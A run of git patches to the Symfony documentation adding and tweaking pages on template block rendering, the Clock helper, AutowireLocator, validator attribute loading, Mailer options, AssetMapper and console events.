+++ b/templates.rst
@@ -604,6 +604,52 @@ to define the template to render::
 
     The ``#[Template()]`` attribute was introduced in Symfony 6.2.
 
+The ``AbstractController`` also provides the
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
+and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
+methods::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        // ...
+
+        public function price(): Response
+        {
+            // ...
+
+            // the `renderBlock()` method returns a `Response` object with the
+            // block contents
+            return $this->renderBlock('product/index.html.twig', 'price_block', [
+                // ...
+            ]);
+
+            // the `renderBlockView()` method only returns the contents created by the
+            // template block, so you can use those contents later in a `Response` object
+            $contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
+                // ...
+            ]);
+
+            return new Response($contents);
+        }
+    }
+
+This might come handy when dealing with blocks in
+:ref:`templates inheritance <template_inheritance-layouts>` or when using
+`Turbo Streams`_.
+
+.. versionadded:: 6.4
+
+    The
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` and
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
+    methods were introduced in Symfony 6.4.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1131,6 +1177,8 @@ Use the ``attributes`` option to define the value of hinclude.js options:
        set this option to 'true' to run that JavaScript code #}
     {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
 
+.. _template_inheritance-layouts:
+
 Template Inheritance and Layouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1614,3 +1662,4 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
 .. _`hinclude.js`: https://mnot.github.io/hinclude/
+.. _`Turbo Streams`: https://symfony.com/bundles/ux-turbo/current/index.html

From 30a2eedebbaae26cd51739d5e7a1b17bfa5bd393 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 21 Aug 2023 12:02:49 +0200
Subject: [PATCH 5025/7107] [Clock] Add $modifier argument to the `now()`
 helper

---
 components/clock.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 9c0a64cf1ec..5c136e382a4 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -63,6 +63,15 @@ The Clock component also provides the ``now()`` function::
     // Get the current time as a DateTimeImmutable instance
     $now = now();
 
+The ``now()`` function takes an optional ``modifier`` argument
+which will be applied to the current time::
+
+    $later = now('+3 hours');
+
+    $yesterday = now('-1 day');
+
+You can use any string `accepted by the DateTime constructor`_.
+
 Later on this page you can learn how to use this clock in your services and tests.
 
 .. versionadded:: 6.3
@@ -70,6 +79,11 @@ Later on this page you can learn how to use this clock in your services and test
     The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
     were introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``modifier`` argument of the ``now()`` function was introduced in
+    Symfony 6.4.
+
 Available Clocks Implementations
 --------------------------------
 
@@ -252,3 +266,4 @@ control on your time-sensitive code's behavior.
     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
 
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php

From 4b338b6f2fa02a043e7df3e3439c14258c405db1 Mon Sep 17 00:00:00 2001
From: Reza Rabbani <50789773+thrashzone13@users.noreply.github.com>
Date: Mon, 21 Aug 2023 13:11:23 +0200
Subject: [PATCH 5026/7107] Add missing use case for Response

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index f4116bd2158..3b31d7dca13 100644
--- a/routing.rst
+++ b/routing.rst
@@ -70,6 +70,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController

From dbfcbb195ff7062d4dfcf223b216caa222a82893 Mon Sep 17 00:00:00 2001
From: xdavidwu <xdavidwuph@gmail.com>
Date: Tue, 22 Aug 2023 13:58:18 +0800
Subject: [PATCH 5027/7107] [Mailer][Smtp] Add DSN param `peer_fingerprint` for
 fingerprint verification

documentation for symfony/symfony#51450
---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..feced29523b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -334,6 +334,17 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
+TLS Peer Fingerprint Verification
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Additional fingerprint verification can be enforced with the ``peer_fingerprint``
+option. This is especially useful when a self-signed certificate is used and
+disabling ``verify_peer`` is needed, but security is still desired. Fingerprint
+may be specified in sha1 (40 characters) or md5 (32 characters)::
+
+    $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
+
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 408bf9534c51cc3ee5b3e1c56376e7cae903bdb2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 21 Aug 2023 15:04:45 +0200
Subject: [PATCH 5028/7107] [DependencyInjection] Add `#[AutowireLocator]`
 attribute

---
 reference/attributes.rst                      |  1 +
 .../service_subscribers_locators.rst          | 76 +++++++++++++++++++
 2 files changed, 77 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 761099a7356..e8825e6d30e 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,6 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 4dabc22e0f3..85dc9fdbaeb 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -297,6 +297,82 @@ This is done by having ``getSubscribedServices()`` return an array of
 
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
+.. _service-locator_autowire-locator:
+
+The AutowireLocator attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another way to define a service locator is to use the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+attribute::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireLocator(FooHandler::class, BarHandler::class)]
+            private ContainerInterface $locator,
+        ) {
+        }
+
+        public function handle(Command $command): mixed
+        {
+            $commandClass = get_class($command);
+
+            if ($this->locator->has($commandClass)) {
+                $handler = $this->locator->get($commandClass);
+
+                return $handler->handle($command);
+            }
+        }
+    }
+
+Just like with the ``getSubscribedServices()`` method, it is possible
+to define aliased services thanks to named arguments, as well as optional
+services::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\BazHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireLocator(
+                fooHandlerAlias: FooHandler::class,
+                barHandlerAlias: BarHandler::class,
+                optionalBazHandlerAlias: '?'.BazHandler::class
+            )]
+            private ContainerInterface $locator,
+        ) {
+        }
+
+        public function handle(Command $command): mixed
+        {
+            $fooHandler = $this->locator->get('fooHandlerAlias');
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    attribute was introduced in Symfony 6.4.
+
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator

From 597644ada38a5ab3481d30ce2da1cc9b461c1120 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 22 Aug 2023 19:21:10 +0200
Subject: [PATCH 5029/7107] [Validator] Deprecate annotations

---
 components/validator/resources.rst    | 48 +++++++++++++++++++++++++--
 form/unit_testing.rst                 |  2 +-
 reference/configuration/framework.rst | 24 ++++++++++++++
 3 files changed, 70 insertions(+), 4 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5dfacd3e48f..3d10c28518d 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -86,7 +86,14 @@ configure the locations of these files::
 The AnnotationLoader
 --------------------
 
-At last, the component provides an
+.. deprecated:: 6.4
+
+    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader`
+    is deprecated since Symfony 6.4, use the
+    :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
+    instead.
+
+The component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
 the metadata from the annotations of the class. Annotations are defined as ``@``
 prefixed classes included in doc block comments (``/** ... */``). For example::
@@ -121,8 +128,44 @@ If you use annotations instead of attributes, it's also required to call
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
+.. deprecated:: 6.4
+
+    The :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
+    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`
+    methods are deprecated since Symfony 6.4, use the
+    :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping`
+    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`
+    methods instead.
+
 .. include:: /_includes/_annotation_loader_tip.rst.inc
 
+The AttributeLoader
+-------------------
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4.
+
+The component provides an
+:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader` to get
+the metadata from the attributes of the class. For example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+    // ...
+
+    class User
+    {
+        #[Assert\NotBlank]
+        protected string $name;
+    }
+
+To enable the attribute loader, call the
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping` method.
+
+To disable the annotation loader after it was enabled, call
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`.
+
 Using Multiple Loaders
 ----------------------
 
@@ -136,8 +179,7 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
+        ->enableAttributeMapping()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index f6a44cc3346..0cff565be00 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -216,7 +216,7 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping(true)
+                ->enableAttributeMapping()
                 ->getValidator();
 
             return [
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cfbef6f46aa..ae1e43ef1e1 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2671,6 +2671,18 @@ enable_annotations
 
 If this option is enabled, validation constraints can be defined using annotations or attributes.
 
+.. deprecated:: 6.4
+
+    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
+    option instead.
+
+enable_attributes
+.................
+
+**type**: ``boolean`` **default**: ``true``
+
+If this option is enabled, validation constraints can be defined using attributes.
+
 translation_domain
 ..................
 
@@ -2862,6 +2874,18 @@ enable_annotations
 
 If this option is enabled, serialization groups can be defined using annotations or attributes.
 
+.. deprecated:: 6.4
+
+    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
+    option instead.
+
+enable_attributes
+.................
+
+**type**: ``boolean`` **default**: ``true``
+
+If this option is enabled, serialization groups can be defined using attributes.
+
 .. seealso::
 
     For more information, see :ref:`serializer-using-serialization-groups-attributes`.

From 2b29113da60a7116a9f3a7cde194c862b4da53df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Tekli=C5=84ski?= <pawel@teklinski.info>
Date: Thu, 24 Aug 2023 00:41:15 +0200
Subject: [PATCH 5030/7107] [Serializer] Use correct property types in example

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e8646ac3294..e5dcc4e849a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -401,7 +401,7 @@ It is also possible to serialize only a set of specific attributes::
     {
         public string $familyName;
         public string $givenName;
-        public string $company;
+        public Company $company;
     }
 
     class Company

From d7548895b412bc5bd0f9c60be8afe125d47000b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Tekli=C5=84ski?= <pawel@teklinski.info>
Date: Thu, 24 Aug 2023 00:50:12 +0200
Subject: [PATCH 5031/7107] [Serializer] Fix the subject agreement mistake -
 grammar

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 29c008ce2c4..481a48efea6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -459,7 +459,7 @@ It is also possible to serialize only a set of specific attributes::
 Only attributes that are not ignored (see below) are available.
 If some serialization groups are set, only attributes allowed by those groups can be used.
 
-As for groups, attributes can be selected during both the serialization and deserialization process.
+As for groups, attributes can be selected during both the serialization and deserialization processes.
 
 .. _serializer_ignoring-attributes:
 

From 978f1dcde68ae0972340cf2690efd3636305014b Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Thu, 24 Aug 2023 12:32:35 +0200
Subject: [PATCH 5032/7107] [AssetMapper] Add docs for the importmap:install
 command

---
 frontend/asset_mapper.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 17a80af3fce..5cdd8340bb7 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,8 +233,11 @@ If you want to download the package locally, use the ``--download`` option:
     $ php bin/console importmap:require bootstrap --download
 
 This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. You *should* commit this file to
-your repository.
+the ``importmap.php`` file to point to it. You can either commit this directory
+to your repository, or ignore the directory in your ``.gitignore`` config file.
+If the directory is ignored, you can run the
+``php bin/console importmap:install`` command to download the files on other
+computers if some files are missing.
 
 .. note::
 

From 2b248d478cdabfbc4fc39e7e8af9dca0946fab7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 24 Aug 2023 22:16:53 +0200
Subject: [PATCH 5033/7107] Minor

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 3b31d7dca13..6b39604eed0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -90,6 +90,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController

From 874291a9ed3d054bf262f89d5384f6e14898c0fb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 24 Aug 2023 22:22:55 +0200
Subject: [PATCH 5034/7107] Minor

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9e8838a37ee..6a3f924e585 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -400,7 +400,7 @@ It is also possible to serialize only a set of specific attributes::
     {
         public string $familyName;
         public string $givenName;
-        public string $company;
+        public Company $company;
     }
 
     class Company

From adb878680c7df174c5d0b68e9fa544200a73632a Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Fri, 25 Aug 2023 14:01:40 +0200
Subject: [PATCH 5035/7107] [Server] Fix typo in Symfony Local Web Server page

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c89a3e23f2a..a12feb7a5c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,7 +60,7 @@ run the Symfony server in the background:
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
     *"Do you want the application to accept incoming network connections?"*.
-    This happens when running unsigned appplications that are not listed in the
+    This happens when running unsigned applications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 
     .. code-block:: terminal

From ab647bf2ed6e56d0a81c2a2a331cb88f045ebf43 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 27 Aug 2023 14:28:47 +0200
Subject: [PATCH 5036/7107] Missing information about payload in callback

---
 reference/constraints/Callback.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index e3f68c2b788..ea870683cc1 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -304,11 +304,12 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as only argument.
+instance as the first argument and the :ref:`payload option <payload>` as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument
-and the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument.
+, the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+instance as the second argument and the :ref:`payload option <payload>` as the
+third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From ebeb5ecd41ade61e4969c5e2e1e730afa9c6bc64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 08:56:43 +0200
Subject: [PATCH 5037/7107] Minor tweak

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 78289802649..3aeacce79a4 100644
--- a/templates.rst
+++ b/templates.rst
@@ -604,7 +604,7 @@ to define the template to render::
 
     The ``#[Template()]`` attribute was introduced in Symfony 6.2.
 
-The ``AbstractController`` also provides the
+The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
 and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
 methods::

From 2261395a499b653f0058cec11c82557bcf2393c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:17:14 +0200
Subject: [PATCH 5038/7107] Minor tweak

---
 reference/configuration/framework.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ae1e43ef1e1..476c0406034 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2669,7 +2669,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using annotations or attributes.
+If this option is enabled, validation constraints can be defined using annotations or `PHP attributes`_.
 
 .. deprecated:: 6.4
 
@@ -2681,7 +2681,7 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using attributes.
+If this option is enabled, validation constraints can be defined using `PHP attributes`_.
 
 translation_domain
 ..................
@@ -2884,7 +2884,7 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using attributes.
+If this option is enabled, serialization groups can be defined using `PHP attributes`_.
 
 .. seealso::
 
@@ -3850,3 +3850,4 @@ the ``#[WithLogLevel]`` attribute::
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
 .. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`PHP attributes`: https://www.php.net/manual/en/language.attributes.overview.php

From 46923d0dccc92ecb1e7f61b081ebcb87fdeccadb Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 18 Aug 2023 10:05:52 +0200
Subject: [PATCH 5039/7107] [Mailer] Fix attachment changes

---
 mailer.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b45dc37e7f2..3ea6113c6c2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -549,7 +549,8 @@ result of rendering some template) or PHP resources::
 File Attachments
 ~~~~~~~~~~~~~~~~
 
-Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
+Use the ``addPart()`` method with a ``File`` to add files that exist on your
+file system::
 
     use Symfony\Component\Mime\Part\DataPart;
     use Symfony\Component\Mime\Part\File;
@@ -564,7 +565,8 @@ Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your
         ->addPart(new DataPart(new File('/path/to/documents/contract.doc'), 'Contract', 'application/msword'))
     ;
 
-Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
+Alternatively you can attach contents from a stream by passing it directly to
+the ``DataPart``::
 
     $email = (new Email())
         // ...
@@ -573,9 +575,9 @@ Alternatively you can attach contents from a stream by passing it directly to th
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
-    ``attach()`` could be used to add attachments. These methods have been
-    deprecated and replaced with ``addPart()``.
+    In Symfony versions previous to 6.2, the method ``attachPart()`` could be
+    used to add attachments. This method has been deprecated and replaced
+    with ``addPart()``.
 
 Embedding Images
 ~~~~~~~~~~~~~~~~
@@ -616,13 +618,8 @@ images inside the HTML contents::
 
 .. versionadded:: 6.1
 
-    The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
-
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
-    ``embed()`` could be used to embed images. These methods have been deprecated
-    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
+    The support of embedded images as HTML backgrounds was introduced in Symfony
+    6.1.
 
 .. _mailer-configure-email-globally:
 

From fa31e9330cf0620398f95a27dc9b76da9d3bab49 Mon Sep 17 00:00:00 2001
From: Florian <flohw@users.noreply.github.com>
Date: Fri, 25 Aug 2023 08:56:12 +0200
Subject: [PATCH 5040/7107] Clearer difference with max and quiet options

---
 components/phpunit_bridge.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 288989dcd87..24562236be5 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -325,6 +325,10 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
+Note that `quiet` hides details for the specified deprecation types, but will
+not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>` is for, and both
+settings are orthogonal.
+
 .. versionadded:: 5.1
 
     The ``quiet`` option was introduced in Symfony 5.1.

From c2f7a56ba223631aa50f75e6118e58aeaaab33fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:34:58 +0200
Subject: [PATCH 5041/7107] Minor tweaks

---
 components/phpunit_bridge.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 24562236be5..b1965cca0d6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -215,6 +215,8 @@ message, enclosed with ``/``. For example, with:
 `PHPUnit`_ will stop your test suite once a deprecation notice is triggered whose
 message contains the ``"foobar"`` string.
 
+.. _making-tests-fail:
+
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
@@ -325,9 +327,9 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
-Note that `quiet` hides details for the specified deprecation types, but will
-not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>` is for, and both
-settings are orthogonal.
+The ``quiet`` option hides details for the specified deprecation types, but will
+not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>`
+is for, and both settings are orthogonal.
 
 .. versionadded:: 5.1
 

From 5909e6b5e6bcd5d4d61c4aa69d18139688ee00ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:47:54 +0200
Subject: [PATCH 5042/7107] Tweaks

---
 frontend/asset_mapper.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 5cdd8340bb7..c98d67ad6c4 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,9 +233,8 @@ If you want to download the package locally, use the ``--download`` option:
     $ php bin/console importmap:require bootstrap --download
 
 This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. You can either commit this directory
-to your repository, or ignore the directory in your ``.gitignore`` config file.
-If the directory is ignored, you can run the
+the ``importmap.php`` file to point to it. It's recommended to ignore this
+directory and not commit it to your repository. Therefore, you'll need to run the
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 

From 25ae438d23ea4e8d702f425483ae4d869b58cd0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:49:28 +0200
Subject: [PATCH 5043/7107] Add the versionadded directive

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c98d67ad6c4..b52e210ef6f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -238,6 +238,10 @@ directory and not commit it to your repository. Therefore, you'll need to run th
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 
+.. versionadded:: 6.4
+
+    The ``importmap:install`` command was introduced in Symfony 6.4.
+
 .. note::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,

From e0d1b355cf4e8d00231a91b16f4e2cc3bd82fa04 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 17:26:11 +0200
Subject: [PATCH 5044/7107] [Console] Improve console events doc

---
 components/console/events.rst |  7 ++++---
 console.rst                   |  6 ++++++
 console/calling_commands.rst  | 34 +++++++++++++++++++++-------------
 3 files changed, 31 insertions(+), 16 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index dc03a8a88d9..45f228e7399 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -17,7 +17,8 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
 .. caution::
 
     Console events are only triggered by the main command being executed.
-    Commands called by the main command will not trigger any event.
+    Commands called by the main command will not trigger any event, unless
+    run by the application itself, see :doc:`/console/calling_commands`.
 
 The ``ConsoleEvents::COMMAND`` Event
 ------------------------------------
@@ -171,10 +172,10 @@ Listeners receive a
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
     $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
diff --git a/console.rst b/console.rst
index 28b560d1f9b..6f74c2e657e 100644
--- a/console.rst
+++ b/console.rst
@@ -574,6 +574,12 @@ registers an :doc:`event subscriber </event_dispatcher>` to listen to the
 :ref:`ConsoleEvents::TERMINATE event <console-events-terminate>` and adds a log
 message whenever a command doesn't finish with the ``0`` `exit status`_.
 
+Using Events And Handling Signals
+---------------------------------
+
+When a command is running, many events are dispatched, one of them allows to
+react to signals, read more in :doc:`this section </components/console/events>`.
+
 Learn More
 ----------
 
